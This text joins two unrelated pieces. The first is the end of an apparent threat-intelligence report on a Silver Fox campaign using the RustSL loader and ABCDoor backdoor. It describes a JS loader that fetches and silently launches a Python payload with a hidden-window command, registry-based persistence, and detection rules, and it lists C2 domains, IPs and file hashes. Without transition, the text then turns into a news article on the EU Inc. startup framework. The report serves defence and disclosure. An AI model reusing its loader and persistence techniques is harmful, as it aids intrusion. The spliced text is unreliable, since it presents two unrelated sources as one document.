The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.

Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:

Log fragments gathered from throughout the JS code

Victims

As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.

Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)

The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.

Conclusion

In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.

During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.

The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.

Detection by Kaspersky solutions

Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.

The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.

Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.

After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.

Indicators of compromise

Network indicators:
ABCDoor C2
45.118.133[.]203:5000
abc.fetish-friends[.]com
abc.3mkorealtd[.]com
abc.sudsmama[.]com
abc.woopami[.]com
abc.ilptour[.]com
abc.petitechanson[.]com
abc.doublemobile[.]com

ABCDoor loader C2s
mcagov[.]cc
roldco[.]com

C2s for malicious remote control utilities
vnc.kcii2[.]com

Distribution servers for phishing PDFs, archives, and encrypted RustSL payloads
abc.haijing88[.]com

ValleyRAT C2
108.187.37[.]85
108.187.42[.]63
207.56.138[.]28

IP addresses
108.187.41[.]221
154.82.81[.]192
139.180.128[.]251
192.229.115[.]229
207.56.119[.]216
192.163.167[.]14
45.192.219[.]60
192.238.205[.]47
45.32.108[.]178
57.133.212[.]106
154.82.81[.]205

Hashes
Phishing PDF files
1AA72CD19E37570E14D898DFF3F2E380
79CD56FC9ABF294B9BA8751E618EC642
0B9B420E3EDD2ADE5EDC44F60CA745A2
6611E902945E97A1B27F322A50566D48
84E54C3602D8240ED905B07217C451CD

SFX archives containing ABCDoor JavaScript loader
2B92E125184469A0C3740ABCAA10350C
043E457726F1BBB6046CB0C9869DBD7D

ZIP archives containing malicious SFX archives
6495C409B59DEB72CFCB2B2DA983B3BB
B500E0A8C87DFFE6F20C6E067B51AFBF
90257AA1E7C9118055C09D4A978D4BEE
F8371097121549FEB21E3BCC2EEEA522
814032EEC3BC31643F8FAA4234D0E049

run.deobfuscated.obf.js
B53E3CC11947E5645DFBB19934B69833

run_direct.ps1
0C3B60FFC4EA9CCCE744BFA03B1A3556

Silver Fox RustSL loaders
039E93B98EF5E329F8666A424237AE73
B6DF7C59756AB655CA752B8A1B20CFFA
5390E8BF7131CAAAA98A5DD63E27B2BC
44299A368000AE1EE9E9E584377B8757
E5E8EF65B4D265BD5FB77FE165131C2F
3279307508F3E5FB3A2420DEC645F583
1020497BEF56F4181AEFB7A0A9873FB4
B23D302B7F23453C98C11CA7B2E4616E
A234850DFDFD7EE128F648F9750DD2C4
4FC5EC1DE89CE3FCDD3E70DB4A9C39D1
A0D1223CA4327AA5F7674BDA8779323F
70AE9CA2A285DA9005A8ACB32DD31ACE
DD0114FFACC6610B5A4A1CB0E79624CC
891DE2FF486A1824F2DB01C1BDF1D2E9
B0E06925DB5416DFC90BABF46402CD6F
AD39A5790B79178D02AC739099B8E1F4
D1D78CD1436991ADB9C005CC7C6B5B98
2C5A1DD4CB53287FE0ED14E0B7B7B1B7
E6362A81991323E198A463A8CE255533
CB3D86E3EC2736EE1C883706FCA172F8
A083C546DC66B0F2A5E0E2E68032F62C
70016DDBCB8543BDB06E0F8C509EE980
8FC911CA37F9F451A213B967F016F1F8
202A5BCB87C34993318CFA3FA0C7ECB0
06130DC648621E93ACB9EFB9FABB9651
F7037CC9A5659D5A1F68E88582242375
8AC5BEE89436B29F9817E434507FEF55
5ED84B2099E220D645934E1FD552AE3A
27A3C439308F5C4956D77E23E1AAD1A9
53B68CA8D7A54C15700CF9500AE4A4E2
1D1F71936DB05F67765F442FEB95F3FD
3C6AEC25EBB2D51E1F16C2EEF181C82A
7F27818E4244310A645984CCC41EA818
A75713F0310E74FFD24D91E5731C4D31
4FC8C78516A8C2130286429686E200ED
3417B9CF7ACB22FAE9E24603D4DE1194
933F1CB8ED2CED5D0DD2877C5EA374E8
B5CA812843570DCF8E7F35CACAB36D4A

ValleyRAT plugins installing ABCDoor
4A5195A38A458CDD2C1B5AB13AF3B393
E66BAE6E8621DB2A835FA6721C3E5BBE

ABCDoor stagers and loaders
04194F8DDD0518FD8005F0E87AE96335
F15A67899CFE4DECFF76D4CD1677C254
11705121F64FA36F1E9D7E59867B0724

Malicious VNC installers used in August 2025 attacks
4D343515F4C87B9A2FFD2F46665D2D57
DFC64DD9D8F776CA5440C35FEF5D406E
EEFC28E9F2C0C0592AF186BE8E3570D2
6CF382D3A0EAE57B8BAAA263E4ED8D00
32407207E9E9A0948D167DCA96C41D1A
D17CAF6F5D6BA3393A3A865D1C43C3D2

ABCDoor .pyd files
13669B8F2BD0AF53A3FE9AC0490499E5
5B998A5BC5AD1C550564294034D4A62C
C50C980D3F4B7ED970F083B0D37A6A6A
DE8F0008B15F2404F721F76FAC34456A
9BF9F635019494C4B70FB0A7C0FB53E4
A543B96B0938DE798DD4F683DD92A94A
FA08B243F12E31940B8B4B82D3498804

Europe produces a large number of new tech startups each year – 28 crossed the $1 billion valuation mark in 2025 alone – yet few become global technology leaders. Many that do succeed look elsewhere to scale, particularly in the US.

Founders point to multiple barriers to growing their business in the European Union (EU), including the complexity of navigating 27 different national legal systems. Despite access to the EU’s single market — home to 450 million consumers and 23 million companies — expanding across borders still brings significant legal, financial and operational complexity.

These are among the challenges the European Commission’s proposed “EU Inc.” framework, unveiled last month, aims to tackle, with plans for a standardized, pan-EU company structure or “28th Regime.” Rather than navigating distinct national systems, companies that opt in to EU Inc. can incorporate once and operate under a single set of rules. Measures include digital incorporation within 48 hours, simplified cross-border registration, and more consistent treatment of employee stock options.

The move comes as a number of European nations are at least considering cutting ties with US tech firms amid ongoing geopolitical uncertainty — part of a digital sovereignty movement that has gained ground in recent months.

While the EU has attempted to create pan-European corporate structures before, including the Societas Europaea, uptake has been limited. But the initial reactions to EU Inc. have been upbeat, with startup founders and legal experts seeing it as a step toward easing some of the friction involved in building across borders, alongside broader reforms.

Gerardo Gagliardo, co-founder and chief financial officer at Exein, an Italian embedded security vendor, has spent seven years navigating the legal and financial challenges of scaling a European “deep tech” company across borders. “The technology is borderless for us, but the commercial legal layer is not,” he said. “That’s the main challenge for us, and I think the EU Inc. framework could help here.” 

“One of the biggest challenges for European startups today is fragmentation,” said Sebastien Marchon, CEO and founder of Belgian expense management software firm Rydoo. “Building a company across Europe still means navigating multiple legal systems, regulatory frameworks and administrative processes. Anything that reduces this friction and helps entrepreneurs scale faster across the continent is a step in the right direction.”

Jeroen Ten Broecke, an associate lawyer at Belgian firm Philippe & Partners, said the EU Inc. proposals could “significantly reduce fragmentation” in corporate law, lowering administrative costs and friction for cross-border activity, particularly for early-stage startups. The standardized, digital-by-default approach should also “make it easier to incorporate and operate across member states,” he said.

Complexity begins at incorporation

For startups just getting going, the administrative burden begins when setting up their company. For Exein, founded in Italy, the incorporation process required a notary and lawyers, creating additional costs and bureaucracy in its early days. “At the beginning, when you are a young startup, this overcomplicates things because you don’t have money,” said Gagliardo. “You have a lot of costs and it’s really time consuming.”  

Augustin Prot, co-founder of the French website translation tool Weglot, took a different approach. When the company launched in 2015, it initially operated without a formal legal structure to “avoid unnecessary admin costs,” he said. Weglot continued that way for six months before the founders felt they could justify investing in the administrative setup process required to create a legal entity in France. 

The proposed EU Inc. framework could have simplified those early decisions, said Prot. “Having a single, harmonized option, such as being registerable in 48 hours for under €100, would have meaningfully simplified our early days,” he said. It would also have reduced the difficulty of choosing a legal structure. In France, startups can choose between several incorporation types, including SAS, SARL and SA. “Choosing the wrong one can cost you time and energy to fix afterwards,” he said.

As companies grow, the number of administrative challenges can multiply.

Since launching in 2018, Exein has expanded to offices in Germany, the US, and Taiwan, and there are plans to open a legal entity in Japan.Each EU member state effectively requires a new legal setup, said Gagliardo, creating an added burden.  

“Every new market treats us as a new company,” he said. “If you sell in France or Germany, for example, it’s different from Italy.”

That fragmentation can slow routine business operations. For example, a recent revolving credit facility with JP Morgan involved hiring lawyers in Germany, UK and Italy, with three separate governance and authorization processes. The process took three months of work, said Gagliardo, something that could have been done in hours if laws had been harmonized. Despite these challenges, the company remains committed to building in Europe.

Another challenge for companies across Europe involves employee stock options. Tax treatment and grant rules vary significantly across member states, making it difficult to offer equity to employees. 

“The problem of complexity around the stock option plans…, it’s really a mess right now,” said Gagliardo. EU Inc. proposals “will be a game changer for Europe” in this regard, he said, with uniform rules making it easier to attract and retain workers.

Prot agrees. Harmonized stock options are “a powerful tool for attracting and retaining talent in a growing startup,” he said, adding that differing rules across Europe create “an uneven playing field compared to the US, where the framework is far simpler and more attractive.” EU Inc. could include “a clear European standard on this point.”

These challenges can slow growth and force startups to look to other markets —  particularly the US. “Expanding across Europe quickly exposes the gap between the idea of a single market and the operational reality,” said Marchon.

“You essentially have to rebuild your compliance, tax, and labor structures every time you cross a border,” said Damir Špoljarič, CEO of Czech cloud infrastructure provider VSHosting and managing partner at investment firm Gi21 Capital. “This dynamic completely shapes a founder’s go-to-market strategy…. If I am going to spend six months and significant capital jumping through regulatory hoops just to reach 10 [million] or 20 million new customers in an adjacent EU country, I might as well spend that same effort entering the US to reach over 330 million.

“It’s the primary reason so many ambitious European founders are effectively forced to target the US for their primary growth phase,” Špoljarič said. “The return on operational effort is simply much higher.” 

Roughly 18% of European tech startups are headquartered outside Europe at seed stage, and by Series C funding that figure rises to around 30%, according to Atomico’s State of European Tech 2025 report.

“That’s typically where we lose them,” said Tord Topsholm, CEO at 0to9, a Stockholm-based fintech venture builder. “The US is a big single market; Europe is a lot of different countries, with different cultures, languages, and legislation. It’s messier to scale here.”

EU Inc. — a way to fix Europe’s scaling challenge?

The question now is whether the EU Inc. proposal — which the Commission aims to have [in place] by the end of 2026 – can help reduce the barriers to scaling across Europe. Simon Miller, co-founder and head of broker international at German fintech Scalable Capital, sees the effort as a promising first step.

“To try to do everything at once would be challenging, so to focus on the incorporation piece, I think, is the right direction,” he said. “Obviously, the execution and the adoption will determine how impactful it is, but any initiative that creates momentum towards alignment between the EU countries and reduces fragmentation sets a precedent. This will only be positive for businesses like ours looking to operate across all of Europe.”

Ten Broecke said he’s “cautiously enthusiastic,” noting that, if successful, the real impact will probably be over the long term and “defined by a gradual and collective mindset shift.” But to achieve its aims, EU Inc. will need to overcome political resistance from member states keen to preserve competitive advantages in areas such as tax regimes and labor standards.

He anticipates “lobbying pressure from various interest groups” including labor organizations, as well as uneven uptake of the EU Inc idea, depending on how attractive the option proves compared to existing national company laws.

Even if its early plans are successful, EU Inc. is not intended to resolve all the challenges facing startups and scale-ups in Europe. Founders point to broader structural issues, including fragmented tax and employment rules.

Gagliardo would like to see harmonized rules for startups, for example, so that engineers working for the same European company in different countries are treated comparably.  

Managing differing VAT rules across member states also creates extra work, said Prot. “Even with a finance background, this can give you headaches,” he said, noting that Weglot had to hire an external accountant and dedicate at least a full day every month to compliance — “a real and recurring operational cost.”  

“It’s a surprising amount of complexity for something that’s supposed to be a single market,” he said. 

Access to capital is another issue. The Commission is seeking to address this through other initiatives under its EU Startup and Scale-up Strategy, including the Scale-up Europe Fund; the latter aims to make €5 billion available for investment in high-growth companies. Separately, the Savings and Investments Union aims to unlock more of Europe’s household savings for investment, potentially increasing the capital available to startups and scale-ups across the region. 

“A unified legal framework only fixes the paperwork. If we want to stop European tech giants from offshoring, this legal reform must be paired with aggressive late-stage capital and localized infrastructure,” said Špoljarič. 

Public markets present a further obstacle. Gagliardo’s goal is to take Exein to an IPO, but without a European equivalent of the Nasdaq, that would likely happen in the US under current conditions. “We are still too far from a framework that will allow us to do an IPO in Europe,” he said.   

Even so, his commitment to building in Europe remains firm. “We want to grow and expand our revenue in Europe, and I hope that this regulation will help us in that,” he said. “We choose to build in Europe — and we would choose it again — but we have done this despite the system, not because of it.”